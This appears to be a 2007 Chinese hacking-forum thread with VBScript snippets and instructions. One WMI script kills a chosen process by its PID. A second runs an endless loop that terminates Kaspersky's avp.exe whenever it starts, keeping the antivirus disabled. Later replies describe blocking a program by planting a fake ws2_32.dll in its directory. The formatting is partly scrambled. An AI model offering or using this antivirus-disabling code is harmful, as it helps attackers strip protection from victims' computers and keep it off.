for
each ps in getobject _
("winmgmts:\\.\root\cimv2:win32_
PRocess").instances_ '涉及到WMI脚本入侵技
术,我不能解释清楚!
if ps.handle=wscript.
arguments(0) then '判断进程的PID号
是否与获得的PID号参数相等
wscript.echo ps.terminate '如果相等就结束指定PID号对应的进程
end if
next
dim y,x '不要这行也行……
do '来个死循环……一直在判断!do
... loop内为循环体!
set y=getobject("winmgmts:\\.\root\cimv2") '和上面解释一样,这也是涉及到
微软的WMI技术!
set x=y.execquery("select *
From win32_process where n
ame='avp.exe'")
'查询语句,where后判断avp.exe(卡巴)是否存在进程中!
'这样当卡巴被上面的Kill.vbs结束时就再也启动不起来了。除非,把Dis.vbs结束了先……
for each i in x
i.terminate() '卡巴要启动马上就终止……
next
wscript.sleep
loop
打开cmd,输入cd\回到C盘根目录下,输入tasklist查看当前系统的进程情况,然后记下你想kill的进程的PID号,输入cscript Kill.vbs 2200即可结束PID为2200的进程了!假如这个进程是avp.exe,那你就可以输入Dis.vbs启动Dis.vbs来防止卡巴继续被启动。Dis.vbs启动时仅在
ws2_32.dll
在程序目录里建立这个也能组织程序运行
Greysign - 2007-03-20 19:01 阻止.
yc
OSXhack - 2007-03-20 19:15
我晕了,果然啊!建立个记事本改名为ws2_32.dll,就……好,记下啦!呵呵……
Greysign - 2007-03-20 21:21
运行程序会在WINDOWS目录寻找这个接口文件.但是会先在程序目录先搜索一遍
ycosxhack - 2007-03-20 21:43
接口文件?你的
意思是:任何程序都必须寻找它了?调用这个库文件吧?删了它就真正麻烦了……
Greysign - 2007-03-20 22:37 嗯.